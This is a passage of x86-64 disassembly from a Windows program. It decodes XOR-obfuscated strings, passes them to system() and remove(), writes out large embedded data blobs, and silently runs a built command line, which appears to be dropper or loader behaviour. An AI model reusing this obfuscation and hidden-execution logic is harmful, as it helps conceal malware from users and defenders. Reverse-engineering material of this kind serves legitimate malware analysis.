mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e88], rax
movabs rax, 0xc62b99dcfef7371b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e90], rax
movss xmm3, dword [0x14025d854]
lea r8, [rbp + 0x10]
mov qword [rbp + 0x10], rbx
lea rdx, [rbp + 0x1e80]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e98], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ea0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1ea8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1eb0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov rcx, qword [0x141718fd8]
unpcklps xmm6, xmm7
mov qword [rbp + 0x1eb8], rax
vmovdqu ymm0, ymmword [rbp + 0x1ea0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e80]
vmovss xmm0, dword [0x14025d8c4]
vmovss dword [rsp + 0x28], xmm0
vmovsd qword [rsp + 0x20], xmm6
vmovdqa ymmword [rbp + 0x1e80], ymm1
vmovdqa xmmword [rbp + 0x10], xmm2
vzeroupper
call fcn.140052c20
lea rdx, str.DTC_Restore_Point
lea rcx, [rbp + 0x1ec0]
call fcn.140083150
comiss xmm12, dword [0x14025d9f4]
jbe 0x14007abb8
lea rcx, [rbp + 0x1ec0]
call fcn.140050c10
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007a17e
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e00], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e08], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e10], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e18], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e20], rax
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e28], rax
movabs rax, 0xade60995f24146e9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e30], rax
movabs rax, 0x773e2919c6cab350
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e38], rax
movabs rax, 0x4c90cbbef3090fef
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e40], rax
movabs rax, 0x959974b64b4b49d5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e48], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5540], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5548], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5550], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5558], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5560], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5568], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5570], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5578], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5580], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5588], rax
vmovdqu ymm0, ymmword [rbp + 0x5540]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e00]
vmovdqa xmm2, xmmword [rbp + 0x5e40]
lea rdx, [rbp + 0x5e00]
vmovdqu ymm0, ymmword [rbp + 0x5560]
vxorps xmm2, xmm2, xmmword [rbp + 0x5580]
lea rcx, [rbp + 0x1ee0]
vmovdqa ymmword [rbp + 0x5e00], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5e20]
vmovdqa ymmword [rbp + 0x5e20], ymm1
vmovdqa xmmword [rbp + 0x5e40], xmm2
vzeroupper
call fcn.140083150
mov r8d, 0x1119e00
lea rdx, [0x140473680]
lea rcx, [rbp + 0x1ee0]
call fcn.14004e460
lea rcx, [rbp + 0x1ee0]
call fcn.14004d700
xor eax, eax
movabs rcx, 0x67fda2477522df5c
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4880], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4888], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4890], rax
movabs rax, 0x5fe6b5e32ed4c40e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x4898], rax
movabs rax, 0xb00ddecba30a101b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48a0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48a8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39e0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39e8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39f0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x39f8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a00], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x4880]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x39e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4880]
mov qword [rbp + 0x3a08], rax
vmovdqa xmm2, xmmword [rbp + 0x3a00]
vxorps xmm2, xmm2, xmmword [rbp + 0x48a0]
vmovdqa xmmword [rbp + 0x48a0], xmm2
vmovdqa ymmword [rbp + 0x4880], ymm1
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x5b39535bdbe8313c
mov qword [rbp + 0x10], rax
movabs rcx, 0x67fda2477522df5c
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48c0], rax
movabs rax, 0x66e4cea2405bbd5f
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48c8], rax
movabs rax, 0xab4efbaba2c5047c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48d0], rax
movabs rax, 0x5fe6b5e32ed4c40e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48d8], rax
movabs rax, 0xb00ddecba30a101b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48e0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x48e8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a20], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a28], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a30], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a38], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3a40], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x48c0]
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x48e0]
vmovdqu ymm0, ymmword [rbp + 0x3a20]
vpxor ymm1, ymm0, ymmword [rbp + 0x48c0]
mov qword [rbp + 0x3a48], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x3a40]
vmovdqa ymmword [rbp + 0x48c0], ymm1
vmovdqa xmmword [rbp + 0x48e0], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e60], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e68], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e70], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e78], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e80], rax
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e88], rax
movabs rax, 0xadfa0999f26646e9
mov qword [rbp + 0x10], rax
lea rdx, [rbp + 0x5e60]
mov rax, qword [rbp + 0x10]
movabs rcx, 0xc45630dd059bc23a
mov qword [rbp + 0x5e90], rax
movabs rax, 0x77152900c6ceb37d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5e98], rax
movabs rax, 0x4cd3cbeff3580fe6
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ea0], rax
movabs rax, 0x95b774a74b5d49d5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ea8], rax
movabs rax, 0x8857f6b10491df1c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5eb0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5eb8], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ec0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ec8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ed0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ed8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ee0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ee8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ef0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ef8], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f00], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f08], rax
movabs rax, 0x8857f6d404e9df79
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f10], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1f00]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5ec0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5e60]
vmovdqu ymm0, ymmword [rbp + 0x5ee0]
vmovdqa ymmword [rbp + 0x5e60], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5e80]
vmovdqa ymmword [rbp + 0x5e80], ymm1
mov qword [rbp + 0x5f18], rax
vmovdqu ymm0, ymmword [rbp + 0x5f00]
vpxor ymm1, ymm0, ymmword [rbp + 0x5ea0]
vmovdqa ymmword [rbp + 0x5ea0], ymm1
vzeroupper
call fcn.140083150
mov r8d, 0x5e670
lea rdx, [0x141661370]
lea rcx, [rbp + 0x1f00]
call fcn.14004e460
lea rcx, [rbp + 0x1f00]
call fcn.14004d700
xor eax, eax
movabs rdx, 0x8857f6d404e9df79
mov byte [rbp], al
movabs rcx, 0xc45630dd059bc23a
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f20], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f28], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f30], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f38], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f40], rax
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f48], rax
movabs rax, 0xade00995f27346e9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f50], rax
movabs rax, 0x771f290fc6c6b371
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f58], rax
movabs rax, 0x4c8acbbcf3490ff5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f60], rax
movabs rax, 0x95ea74aa4b40499e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f68], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f70], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f78], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f80], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f88], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f90], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5f98], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fa0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fa8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fb0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fb8], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fc0], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fc8], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x5f20]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fd0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1f20]
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x5f80]
vpxor ymm1, ymm0, ymmword [rbp + 0x5f20]
vmovdqu ymm0, ymmword [rbp + 0x5fa0]
vmovdqa ymmword [rbp + 0x5f20], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x5f40]
vmovdqa ymmword [rbp + 0x5f40], ymm1
mov qword [rbp + 0x5fd8], rax
vmovdqu ymm0, ymmword [rbp + 0x5fc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5f60]
vmovdqa ymmword [rbp + 0x5f60], ymm1
vzeroupper
call fcn.140083150
mov r8d, 0x8788
lea rdx, [0x1416105a0]
lea rcx, [rbp + 0x1f20]
call fcn.14004e460
lea rcx, [rbp + 0x1f20]
call fcn.14004d700
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fe0], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5fe8], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ff0], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x5ff8], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6000], rax
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6008], rax
movabs rax, 0xade00995f27346e9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6010], rax
movabs rax, 0x77092905c6cfb370
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6018], rax
movabs rax, 0x4c90cbbef3090ff1
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6020], rax
movabs rax, 0x959974a04b4a49c3
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6028], rax
lea rdx, [rbp + 0x5fe0]
mov qword [rbp + 0x10], rdi
lea rcx, [rbp + 0x1f40]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55a0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55a8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55b0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55b8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55c0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55c8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55d0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55d8], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x55e0], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x55a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x5fe0]
vmovdqa xmm2, xmmword [rbp + 0x6020]
vmovdqu ymm0, ymmword [rbp + 0x55c0]
vmovdqa ymmword [rbp + 0x5fe0], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6000]
mov qword [rbp + 0x55e8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x55e0]
vmovdqa ymmword [rbp + 0x6000], ymm1
vmovdqa xmmword [rbp + 0x6020], xmm2
vzeroupper
call fcn.140083150
mov r8d, 0x7180
lea rdx, [0x14165a1f0]
lea rcx, [rbp + 0x1f40]
call fcn.14004e460
lea rcx, [rbp + 0x1f40]
call fcn.14004d700
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x340a3d6e8c8e0b3c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6040], rax
movabs rax, 0x3ffbdbf1369ce41
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6048], rax
movabs rax, 0xc6789980fe843766
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6050], rax
movabs rax, 0x1afbdcd141ca972b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6058], rax
movabs rax, 0xb034a69c8d0d261e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6060], rax
movabs rdx, 0x8857f6d404e9df79
movabs rax, 0x6790a2227540df2b
mov qword [rbp + 0x10], rax
movabs rcx, 0xc45630dd059bc23a
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6068], rax
movabs rax, 0xadfa0991f25646e9
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6070], rax
movabs rax, 0x77152900c6ceb37d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6078], rax
movabs rax, 0x4cd0cbe7f34b0fe0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6080], rax
movabs rax, 0x95fc74ab4b56499e
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6088], rax
mov qword [rbp + 0x10], rdx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6090], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x6098], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60a0], rax
mov qword [rbp + 0x10], r14
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60a8], rax
movabs rax, 0xc62b99dcfef73711
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60b0], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60b8], rax
movabs rax, 0xb068a6ae8d3e2673
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60c0], rax
movabs rax, 0x67fda2477522df5c
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60c8], rax
movabs rax, 0xad8909f8f21246b5
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60d0], rax
movabs rax, 0x777b2961c6a3b316
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60d8], rax
movabs rax, 0x4cbecb8af33f0f87
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60e0], rax
movabs rax, 0x959974d34b3349b0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60e8], rax
mov qword [rbp + 0x10], rdx
lea rdx, [rbp + 0x6040]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x60f0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
vmovdqu ymm0, ymmword [rbp + 0x60a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x6040]
vmovdqu ymm0, ymmword [rbp + 0x60c0]
vmovdqa ymmword [rbp + 0x6040], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6060]
mov qword [rbp + 0x60f8], rax
vmovdqu ymm0, ymmword [rbp + 0x60e0]
vmovdqa ymmword [rbp + 0x6060], ymm1
vpxor ymm1, ymm0, ymmword [rbp + 0x6080]
vmovdqa ymmword [rbp + 0x6080], ymm1
lea rcx, [rbp + 0x1f60]
vzeroupper
call fcn.140083150
mov r8d, 0x296b0
lea rdx, [0x1416ec600]
lea rcx, [rbp + 0x1f60]
call fcn.14004e460
lea rcx, [rbp + 0x1f60]
call fcn.14004d700
cmp byte [0x141719193], 0
je 0x14005c1f1
mov edx, 4
lea rcx, [rbp + 0x1f80]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x1fa0]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3df9]
xor eax, eax
lea rcx, [rbp + 0x141]
mov byte [rbp + 0x141], al
call fcn.14007c110
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x14005bf01
mov r8d, esi
cmp r15d, 2
jl 0x14005bec3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm11
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm11
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm10
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x30
jl 0x14005bdd0
cmp r8d, 0x33
jge 0x14005bf01
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x37
xor byte [r9 - 1], al
cmp r8d, 0x33
jl 0x14005bed0
mov r8, rdi
lea rcx, [rbp + 0x1fc0]
mov rdx, r10
call fcn.140083ca0
mov rdx, rax
lea r8, str.A0000
lea rcx, [rbp + 0x1fe0]
call fcn.140083dd0
mov r8, rbx
lea rcx, [rbp + 0x2000]
mov rdx, rax
call fcn.140083eb0
mov rdx, rax
lea r8, str.__nul
lea rcx, [rbp + 0x2020]
call fcn.140083dd0
mov rcx, rax
call fcn.14003a680
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2020]
call fcn.14003a690
lea rcx, [rbp + 0x2000]
call fcn.14003a690
lea rcx, [rbp + 0x1fe0]
call fcn.14003a690
lea rcx, [rbp + 0x1fc0]
call fcn.14003a690
lea rcx, [rbp + 0x1fa0]
call fcn.14003a690
lea rcx, [rbp + 0x1f80]
call fcn.14003a690
mov edx, 4
lea rcx, [rbp + 0x2040]
call fcn.140050ad0
mov edx, 2
lea rcx, [rbp + 0x2060]
mov rbx, rax
call fcn.140050ad0
mov rdi, rax
lea rdx, [rbp + 0x3e2c]
xor eax, eax
